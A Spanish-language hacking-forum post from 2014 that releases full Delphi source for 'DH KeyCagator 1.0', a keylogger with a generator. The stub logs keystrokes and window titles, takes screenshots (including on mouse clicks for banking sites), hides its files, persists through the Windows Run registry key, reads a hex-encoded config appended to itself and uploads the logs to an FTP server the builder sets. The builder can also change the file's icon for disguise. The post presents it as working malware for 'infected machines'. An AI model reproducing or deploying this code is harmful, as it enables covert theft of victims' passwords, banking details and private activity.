elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH KeyCagator 1.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH KeyCagator 1.0  (Leído 1,808 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH KeyCagator 1.0
« en: 5 Junio 2014, 18:17 pm »

Version final de este keylogger con las siguientes opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

Una imagen :



Un video con un ejemplo de uso :



El codigo :

El Generador :

Código
  1. // DH KeyCagator 1.0
  2. // (C) Doddy Hackman 2014
  3. // Keylogger Generator
  4. // Icon Changer based in : "IconChanger" By Chokstyle
  5. // Thanks to Chokstyle
  6.  
  7. unit dhkey;
  8.  
  9. interface
  10.  
  11. uses
  12.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  13.  System.Classes, Vcl.Graphics,
  14.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
  15.  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
  16.  IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  17.  IdFTP, ShellApi, MadRes;
  18.  
  19. type
  20.  TForm1 = class(TForm)
  21.    Image1: TImage;
  22.    StatusBar1: TStatusBar;
  23.    PageControl1: TPageControl;
  24.    TabSheet1: TTabSheet;
  25.    GroupBox1: TGroupBox;
  26.    GroupBox2: TGroupBox;
  27.    RadioButton1: TRadioButton;
  28.    RadioButton2: TRadioButton;
  29.    ComboBox1: TComboBox;
  30.    Edit2: TEdit;
  31.    GroupBox3: TGroupBox;
  32.    TabSheet2: TTabSheet;
  33.    Edit1: TEdit;
  34.    GroupBox4: TGroupBox;
  35.    CheckBox1: TCheckBox;
  36.    Edit3: TEdit;
  37.    Label1: TLabel;
  38.    TabSheet3: TTabSheet;
  39.    GroupBox5: TGroupBox;
  40.    GroupBox6: TGroupBox;
  41.    CheckBox2: TCheckBox;
  42.    Edit4: TEdit;
  43.    Label2: TLabel;
  44.    GroupBox7: TGroupBox;
  45.    Label3: TLabel;
  46.    Edit5: TEdit;
  47.    Label4: TLabel;
  48.    Edit7: TEdit;
  49.    Label5: TLabel;
  50.    Edit8: TEdit;
  51.    Label6: TLabel;
  52.    Edit6: TEdit;
  53.    TabSheet4: TTabSheet;
  54.    GroupBox8: TGroupBox;
  55.    GroupBox9: TGroupBox;
  56.    Label7: TLabel;
  57.    Edit9: TEdit;
  58.    Label8: TLabel;
  59.    Edit11: TEdit;
  60.    Label9: TLabel;
  61.    Edit12: TEdit;
  62.    Label10: TLabel;
  63.    Edit10: TEdit;
  64.    GroupBox10: TGroupBox;
  65.    Button1: TButton;
  66.    GroupBox12: TGroupBox;
  67.    Button2: TButton;
  68.    CheckBox3: TCheckBox;
  69.    IdFTP1: TIdFTP;
  70.    TabSheet6: TTabSheet;
  71.    GroupBox11: TGroupBox;
  72.    Image2: TImage;
  73.    Memo1: TMemo;
  74.    OpenDialog1: TOpenDialog;
  75.    procedure Button1Click(Sender: TObject);
  76.    procedure FormCreate(Sender: TObject);
  77.    procedure Button2Click(Sender: TObject);
  78.  
  79.  private
  80.    { Private declarations }
  81.  public
  82.    { Public declarations }
  83.  end;
  84.  
  85. var
  86.  Form1: TForm1;
  87.  
  88. implementation
  89.  
  90. {$R *.dfm}
  91. // Functions
  92.  
  93. function dhencode(texto, opcion: string): string;
  94. // Thanks to Taqyon
  95. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  96. var
  97.  num: integer;
  98.  aca: string;
  99.  cantidad: integer;
  100.  
  101. begin
  102.  
  103.  num := 0;
  104.  Result := '';
  105.  aca := '';
  106.  cantidad := 0;
  107.  
  108.  if (opcion = 'encode') then
  109.  begin
  110.    cantidad := length(texto);
  111.    for num := 1 to cantidad do
  112.    begin
  113.      aca := IntToHex(ord(texto[num]), 2);
  114.      Result := Result + aca;
  115.    end;
  116.  end;
  117.  
  118.  if (opcion = 'decode') then
  119.  begin
  120.    cantidad := length(texto);
  121.    for num := 1 to cantidad div 2 do
  122.    begin
  123.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  124.      Result := Result + aca;
  125.    end;
  126.  end;
  127.  
  128. end;
  129.  
  130. //
  131.  
  132. procedure TForm1.Button1Click(Sender: TObject);
  133. var
  134.  i: integer;
  135.  dir: string;
  136.  busqueda: TSearchRec;
  137.  
  138. begin
  139.  
  140.  IdFTP1.Host := Edit9.Text;
  141.  IdFTP1.Username := Edit11.Text;
  142.  IdFTP1.Password := Edit12.Text;
  143.  
  144.  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
  145.  
  146.  try
  147.    begin
  148.      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
  149.      DeleteFile(dir + '\' + busqueda.Name);
  150.      while FindNext(busqueda) = 0 do
  151.      begin
  152.        DeleteFile(dir + '\' + busqueda.Name);
  153.      end;
  154.      FindClose(busqueda);
  155.  
  156.      rmdir(dir);
  157.    end;
  158.  except
  159.    //
  160.  end;
  161.  
  162.  if not(DirectoryExists(dir)) then
  163.  begin
  164.    CreateDir(dir);
  165.  end;
  166.  
  167.  ChDir(dir);
  168.  
  169.  try
  170.    begin
  171.      IdFTP1.Connect;
  172.      IdFTP1.ChangeDir(Edit10.Text);
  173.  
  174.      IdFTP1.List('*.*', True);
  175.  
  176.      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
  177.      begin
  178.        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
  179.          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
  180.      end;
  181.  
  182.      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
  183.  
  184.      IdFTP1.Disconnect;
  185.      IdFTP1.Free;
  186.    end;
  187.  except
  188.    //
  189.  end;
  190.  
  191. end;
  192.  
  193. procedure TForm1.Button2Click(Sender: TObject);
  194. var
  195.  lineafinal: string;
  196.  
  197.  savein_especial: string;
  198.  savein: string;
  199.  foldername: string;
  200.  bankop: string;
  201.  
  202.  capture_op: string;
  203.  capture_seconds: integer;
  204.  
  205.  ftp_op: string;
  206.  ftp_seconds: integer;
  207.  ftp_host_txt: string;
  208.  ftp_user_txt: string;
  209.  ftp_pass_txt: string;
  210.  ftp_path_txt: string;
  211.  
  212.  aca: THandle;
  213.  code: Array [0 .. 9999 + 1] of Char;
  214.  nose: DWORD;
  215.  
  216.  stubgenerado: string;
  217.  op: string;
  218.  change: DWORD;
  219.  valor: string;
  220.  
  221. begin
  222.  
  223.  if (RadioButton1.Checked = True) then
  224.  
  225.  begin
  226.  
  227.    savein_especial := '0';
  228.  
  229.    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  230.    begin
  231.      savein := 'USERPROFILE';
  232.    end
  233.    else
  234.    begin
  235.      savein := ComboBox1.Items[ComboBox1.ItemIndex];
  236.    end;
  237.  
  238.  end;
  239.  
  240.  if (RadioButton2.Checked = True) then
  241.  begin
  242.    savein_especial := '1';
  243.    savein := Edit2.Text;
  244.  end;
  245.  
  246.  foldername := Edit1.Text;
  247.  
  248.  if (CheckBox1.Checked = True) then
  249.  begin
  250.    capture_op := '1';
  251.  end
  252.  else
  253.  begin
  254.    capture_op := '0';
  255.  end;
  256.  
  257.  capture_seconds := StrToInt(Edit3.Text) * 1000;
  258.  
  259.  if (CheckBox2.Checked = True) then
  260.  begin
  261.    ftp_op := '1';
  262.  end
  263.  else
  264.  begin
  265.    ftp_op := '0';
  266.  end;
  267.  
  268.  if (CheckBox3.Checked = True) then
  269.  begin
  270.    bankop := '1';
  271.  end
  272.  else
  273.  begin
  274.    bankop := '0';
  275.  end;
  276.  
  277.  ftp_seconds := StrToInt(Edit4.Text) * 1000;
  278.  
  279.  ftp_host_txt := Edit5.Text;
  280.  ftp_user_txt := Edit7.Text;
  281.  ftp_pass_txt := Edit8.Text;
  282.  ftp_path_txt := Edit6.Text;
  283.  
  284.  lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
  285.    '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
  286.    '[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
  287.    '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
  288.    '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
  289.    '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
  290.    ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
  291.    '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
  292.    '[ftp_path]', 'encode') + '[63686175]';
  293.  
  294.  aca := INVALID_HANDLE_VALUE;
  295.  nose := 0;
  296.  
  297.  stubgenerado := 'keycagator_ready.exe';
  298.  
  299.  DeleteFile(stubgenerado);
  300.  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  301.    'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  302.    stubgenerado), True);
  303.  
  304.  StrCopy(code, PChar(lineafinal));
  305.  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
  306.    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  307.  if (aca <> INVALID_HANDLE_VALUE) then
  308.  begin
  309.    SetFilePointer(aca, 0, nil, FILE_END);
  310.    WriteFile(aca, code, 9999, nose, nil);
  311.    CloseHandle(aca);
  312.  end;
  313.  
  314.  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
  315.  
  316.  if (op = 'Yes') then
  317.  begin
  318.    OpenDialog1.InitialDir := GetCurrentDir;
  319.    if OpenDialog1.Execute then
  320.    begin
  321.  
  322.      try
  323.        begin
  324.  
  325.          valor := IntToStr(128);
  326.  
  327.          change := BeginUpdateResourceW
  328.            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
  329.            stubgenerado)), False);
  330.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  331.            PWideChar(wideString(OpenDialog1.FileName)));
  332.          EndUpdateResourceW(change, False);
  333.          StatusBar1.Panels[0].Text := '[+] Done ';
  334.          StatusBar1.Update;
  335.        end;
  336.      except
  337.        begin
  338.          StatusBar1.Panels[0].Text := '[-] Error';
  339.          StatusBar1.Update;
  340.        end;
  341.      end;
  342.    end
  343.    else
  344.    begin
  345.      StatusBar1.Panels[0].Text := '[+] Done ';
  346.      StatusBar1.Update;
  347.    end;
  348.  end
  349.  else
  350.  begin
  351.    StatusBar1.Panels[0].Text := '[+] Done ';
  352.    StatusBar1.Update;
  353.  end;
  354.  
  355. end;
  356.  
  357. procedure TForm1.FormCreate(Sender: TObject);
  358. begin
  359.  OpenDialog1.InitialDir := GetCurrentDir;
  360.  OpenDialog1.Filter := 'ICO|*.ico|';
  361. end;
  362.  
  363. end.
  364.  
  365. // The End ?
  366.  

El stub.

Código
  1. // DH KeyCagator 1.0
  2. // (C) Doddy Hackman 2014
  3.  
  4. program keycagator;
  5.  
  6. // {$APPTYPE CONSOLE}
  7.  
  8. uses
  9.  SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;
  10.  
  11. var
  12.  nombrereal: string;
  13.  rutareal: string;
  14.  yalisto: string;
  15.  registro: HKEY;
  16.  dir: string;
  17.  time: integer;
  18.  
  19.  dir_hide: string;
  20.  time_screen: integer;
  21.  time_ftp: integer;
  22.  ftp_host: Pchar;
  23.  ftp_user: Pchar;
  24.  ftp_password: Pchar;
  25.  ftp_dir: Pchar;
  26.  
  27.  carpeta: string;
  28.  directorio: string;
  29.  bankop: string;
  30.  dir_normal: string;
  31.  dir_especial: string;
  32.  ftp_online: string;
  33.  screen_online: string;
  34.  activado: string;
  35.  
  36.  ob: THandle;
  37.  code: Array [0 .. 9999 + 1] of Char;
  38.  nose: DWORD;
  39.  todo: string;
  40.  
  41.  // Functions
  42.  
  43. function regex(text: String; deaca: String; hastaaca: String): String;
  44. begin
  45.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  46.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  47.  Result := text;
  48. end;
  49.  
  50. function dhencode(texto, opcion: string): string;
  51. // Thanks to Taqyon
  52. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  53. var
  54.  num: integer;
  55.  aca: string;
  56.  cantidad: integer;
  57.  
  58. begin
  59.  
  60.  num := 0;
  61.  Result := '';
  62.  aca := '';
  63.  cantidad := 0;
  64.  
  65.  if (opcion = 'encode') then
  66.  begin
  67.    cantidad := Length(texto);
  68.    for num := 1 to cantidad do
  69.    begin
  70.      aca := IntToHex(ord(texto[num]), 2);
  71.      Result := Result + aca;
  72.    end;
  73.  end;
  74.  
  75.  if (opcion = 'decode') then
  76.  begin
  77.    cantidad := Length(texto);
  78.    for num := 1 to cantidad div 2 do
  79.    begin
  80.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  81.      Result := Result + aca;
  82.    end;
  83.  end;
  84.  
  85. end;
  86.  
  87. procedure savefile(filename, texto: string);
  88. var
  89.  ar: TextFile;
  90.  
  91. begin
  92.  
  93.  try
  94.  
  95.    begin
  96.      AssignFile(ar, filename);
  97.      FileMode := fmOpenWrite;
  98.  
  99.      if FileExists(filename) then
  100.        Append(ar)
  101.      else
  102.        Rewrite(ar);
  103.  
  104.      Write(ar, texto);
  105.      CloseFile(ar);
  106.    end;
  107.  except
  108.    //
  109.  end;
  110.  
  111. end;
  112.  
  113. procedure upload_ftpfile(host, username, password, filetoupload,
  114.  conestenombre: Pchar);
  115.  
  116. // Credits :
  117. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  118. // Thanks to Omair Iqbal
  119.  
  120. var
  121.  controluno: HINTERNET;
  122.  controldos: HINTERNET;
  123.  
  124. begin
  125.  
  126.  try
  127.  
  128.    begin
  129.      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  130.      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
  131.        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  132.      ftpPutFile(controldos, filetoupload, conestenombre,
  133.        FTP_TRANSFER_TYPE_BINARY, 0);
  134.      InternetCloseHandle(controldos);
  135.      InternetCloseHandle(controluno);
  136.    end
  137.  except
  138.    //
  139.  end;
  140.  
  141. end;
  142.  
  143. procedure capturar_pantalla(nombre: string);
  144.  
  145. // Function capturar() based in :
  146. // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
  147. // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
  148. // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
  149. // Thanks to Zarko Gajic , Luthfi and Ken White
  150.  
  151. var
  152.  aca: HDC;
  153.  tan: TRect;
  154.  posnow: TPoint;
  155.  imagen1: TBitmap;
  156.  imagen2: TJpegImage;
  157.  curnow: THandle;
  158.  
  159. begin
  160.  
  161.  aca := GetWindowDC(GetDesktopWindow);
  162.  imagen1 := TBitmap.Create;
  163.  
  164.  GetWindowRect(GetDesktopWindow, tan);
  165.  imagen1.Width := tan.Right - tan.Left;
  166.  imagen1.Height := tan.Bottom - tan.Top;
  167.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
  168.    0, SRCCOPY);
  169.  
  170.  GetCursorPos(posnow);
  171.  
  172.  curnow := GetCursor;
  173.  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
  174.    DI_NORMAL);
  175.  
  176.  imagen2 := TJpegImage.Create;
  177.  imagen2.Assign(imagen1);
  178.  imagen2.CompressionQuality := 60;
  179.  imagen2.SaveToFile(nombre);
  180.  
  181.  imagen1.Free;
  182.  imagen2.Free;
  183.  
  184. end;
  185.  
  186. //
  187.  
  188. procedure capturar_teclas;
  189.  
  190. var
  191.  I: integer;
  192.  Result: Longint;
  193.  mayus: integer;
  194.  shift: integer;
  195.  banknow: string;
  196.  
  197. const
  198.  
  199.  n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
  200.    '52', '53', '54', '55', '56', '57');
  201.  
  202. const
  203.  t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
  204.    '5', '6', '7', '8', '9');
  205.  
  206. const
  207.  n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
  208.    '101', '102', '103', '104', '105');
  209.  
  210. const
  211.  t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
  212.    '6', '7', '8', '9');
  213.  
  214. const
  215.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  216.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  217.    '291', '220', '221', '222', '226');
  218.  
  219. const
  220.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
  221.    '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');
  222.  
  223. const
  224.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  225.    '188', '189', '190', '191', '192', '193', '219', '220', '221',
  226.    '222', '226');
  227.  
  228. const
  229.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  230.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  231.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  232.  
  233. begin
  234.  
  235.  while (1 = 1) do
  236.  begin
  237.  
  238.    Sleep(time); // Time
  239.  
  240.    try
  241.  
  242.      begin
  243.  
  244.        // Others
  245.  
  246.        for I := Low(n_raros) to High(n_raros) do
  247.        begin
  248.          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
  249.          If Result = -32767 then
  250.          begin
  251.            savefile('logs.html', t_raros[I]);
  252.            if (bankop = '1') then
  253.            begin
  254.              if (t_raros[I] = '[mouse click]') then
  255.              begin
  256.                banknow := IntToStr(Random(10000)) + '.jpg';
  257.                capturar_pantalla(banknow);
  258.                SetFileAttributes(Pchar(dir + '/' + banknow),
  259.                  FILE_ATTRIBUTE_HIDDEN);
  260.  
  261.                savefile('logs.html', '<br><br><center><img src=' + banknow +
  262.                  '></center><br><br>');
  263.  
  264.              end;
  265.            end;
  266.          end;
  267.        end;
  268.  
  269.        // SHIFT
  270.  
  271.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  272.        begin
  273.  
  274.          for I := Low(n_shift) to High(n_shift) do
  275.          begin
  276.            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
  277.            If Result = -32767 then
  278.            begin
  279.              savefile('logs.html', t_shift[I]);
  280.            end;
  281.          end;
  282.  
  283.          for I := 65 to 90 do
  284.          begin
  285.            Result := GetAsyncKeyState(I);
  286.            If Result = -32767 then
  287.            Begin
  288.              savefile('logs.html', Chr(I + 0));
  289.            End;
  290.          end;
  291.  
  292.        end;
  293.  
  294.        // Numbers
  295.  
  296.        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  297.        begin
  298.          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
  299.          If Result = -32767 then
  300.          begin
  301.            savefile('logs.html', t_numeros_derecha[I]);
  302.          end;
  303.        end;
  304.  
  305.        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  306.        begin
  307.          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
  308.          If Result = -32767 then
  309.          begin
  310.            savefile('logs.html', t_numeros_izquierda[I]);
  311.          end;
  312.        end;
  313.  
  314.        // MAYUS
  315.  
  316.        if (GetKeyState(20) = 0) then
  317.        begin
  318.          mayus := 32;
  319.        end
  320.        else
  321.        begin
  322.          mayus := 0;
  323.        end;
  324.  
  325.        for I := 65 to 90 do
  326.        begin
  327.          Result := GetAsyncKeyState(I);
  328.          If Result = -32767 then
  329.          Begin
  330.            savefile('logs.html', Chr(I + mayus));
  331.          End;
  332.        end;
  333.      end;
  334.    except
  335.      //
  336.    end;
  337.  
  338.  end;
  339. end;
  340.  
  341. procedure capturar_ventanas;
  342. var
  343.  ventana1: array [0 .. 255] of Char;
  344.  nombre1: string;
  345.  Nombre2: string; //
  346. begin
  347.  while (1 = 1) do
  348.  begin
  349.  
  350.    try
  351.  
  352.      begin
  353.        Sleep(time); // Time
  354.  
  355.        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
  356.  
  357.        nombre1 := ventana1;
  358.  
  359.        if not(nombre1 = Nombre2) then
  360.        begin
  361.          Nombre2 := nombre1;
  362.          savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
  363.            + '</h2></center><br>');
  364.        end;
  365.  
  366.      end;
  367.    except
  368.      //
  369.    end;
  370.  end;
  371.  
  372. end;
  373.  
  374. procedure capturar_pantallas;
  375. var
  376.  generado: string;
  377. begin
  378.  while (1 = 1) do
  379.  begin
  380.  
  381.    Sleep(time_screen);
  382.  
  383.    generado := IntToStr(Random(10000)) + '.jpg';
  384.  
  385.    try
  386.  
  387.      begin
  388.        capturar_pantalla(generado);
  389.      end;
  390.    except
  391.      //
  392.    end;
  393.  
  394.    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
  395.  
  396.    savefile('logs.html', '<br><br><center><img src=' + generado +
  397.      '></center><br><br>');
  398.  
  399.  end;
  400. end;
  401.  
  402. procedure subirftp;
  403. var
  404.  busqueda: TSearchRec;
  405. begin
  406.  while (1 = 1) do
  407.  begin
  408.  
  409.    try
  410.  
  411.      begin
  412.        Sleep(time_ftp);
  413.  
  414.        upload_ftpfile(ftp_host, ftp_user, ftp_password,
  415.          Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
  416.  
  417.        FindFirst(dir + '*.jpg', faAnyFile, busqueda);
  418.  
  419.        upload_ftpfile(ftp_host, ftp_user, ftp_password,
  420.          Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  421.        while FindNext(busqueda) = 0 do
  422.        begin
  423.          upload_ftpfile(ftp_host, ftp_user, ftp_password,
  424.            Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  425.        end;
  426.      end;
  427.    except
  428.      //
  429.    end;
  430.  end;
  431. end;
  432.  
  433. procedure control;
  434. var
  435.  I: integer;
  436.  re: Longint;
  437. begin
  438.  
  439.  while (1 = 1) do
  440.  begin
  441.  
  442.    try
  443.  
  444.      begin
  445.  
  446.        Sleep(time);
  447.  
  448.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  449.        begin
  450.  
  451.          re := GetAsyncKeyState(120);
  452.          If re = -32767 then
  453.          Begin
  454.  
  455.            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
  456.              SW_SHOWNORMAL);
  457.  
  458.          End;
  459.        end;
  460.      end;
  461.    except
  462.      //
  463.    end;
  464.  End;
  465. end;
  466.  
  467. //
  468.  
  469. begin
  470.  
  471.  try
  472.  
  473.    // Config
  474.  
  475.    try
  476.  
  477.      begin
  478.  
  479.        // Edit
  480.  
  481.        ob := INVALID_HANDLE_VALUE;
  482.        code := '';
  483.  
  484.        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  485.          OPEN_EXISTING, 0, 0);
  486.        if (ob <> INVALID_HANDLE_VALUE) then
  487.        begin
  488.          SetFilePointer(ob, -9999, nil, FILE_END);
  489.          ReadFile(ob, code, 9999, nose, nil);
  490.          CloseHandle(ob);
  491.        end;
  492.  
  493.        todo := regex(code, '[63686175]', '[63686175]');
  494.        todo := dhencode(todo, 'decode');
  495.  
  496.        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
  497.        directorio := regex(todo, '[save]', '[save]');
  498.        carpeta := regex(todo, '[folder]', '[folder]');
  499.        bankop := regex(todo, '[bank]', '[bank]');
  500.        screen_online := regex(todo, '[capture_op]', '[capture_op]');
  501.        time_screen := StrToInt(regex(todo, '[capture_seconds]',
  502.          '[capture_seconds]'));
  503.        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  504.        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
  505.        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  506.        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  507.        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  508.        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  509.  
  510.        dir_normal := dir_especial;
  511.  
  512.        time := 100; // Not Edit
  513.  
  514.        if (dir_normal = '1') then
  515.        begin
  516.          dir_hide := directorio;
  517.        end
  518.        else
  519.        begin
  520.          dir_hide := GetEnvironmentVariable(directorio) + '/';
  521.        end;
  522.  
  523.        dir := dir_hide + carpeta + '/';
  524.  
  525.        if not(DirectoryExists(dir)) then
  526.        begin
  527.          CreateDir(dir);
  528.        end;
  529.  
  530.        ChDir(dir);
  531.  
  532.        nombrereal := ExtractFileName(paramstr(0));
  533.        rutareal := dir;
  534.        yalisto := dir + nombrereal;
  535.  
  536.        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
  537.  
  538.        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
  539.  
  540.        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  541.  
  542.        savefile(dir + '/logs.html', '');
  543.  
  544.        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  545.  
  546.        savefile('logs.html',
  547.          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  548.  
  549.        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  550.          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  551.          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  552.        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
  553.        RegCloseKey(registro);
  554.      end;
  555.    except
  556.      //
  557.    end;
  558.  
  559.    // End
  560.  
  561.    // Start the party
  562.  
  563.    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
  564.    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
  565.  
  566.    if (screen_online = '1') then
  567.    begin
  568.      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
  569.    end;
  570.    if (ftp_online = '1') then
  571.    begin
  572.      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
  573.    end;
  574.  
  575.    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
  576.  
  577.    // Readln;
  578.  
  579.    while (1 = 1) do
  580.      Sleep(time);
  581.  
  582.  except
  583.    //
  584.  end;
  585.  
  586. end.
  587.  
  588. // The End ?
  589.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] KeyCagator 0.4
Scripting
BigBear 0 1,768 Último mensaje 9 Octubre 2011, 17:50 pm
por BigBear
[Perl] Keycagator 0.7
Scripting
BigBear 7 3,632 Último mensaje 9 Octubre 2011, 22:56 pm
por leogtz
[Perl Tk] Project KeyCagator 1.0
Scripting
BigBear 0 1,790 Último mensaje 3 Noviembre 2012, 15:39 pm
por BigBear
[Delphi] DH KeyCagator 0.2
Programación General
BigBear 3 2,396 Último mensaje 9 Noviembre 2013, 00:34 am
por Fran2013
[Delphi] DH KeyCagator 0.7
Programación General
BigBear 0 1,654 Último mensaje 22 Noviembre 2013, 14:56 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines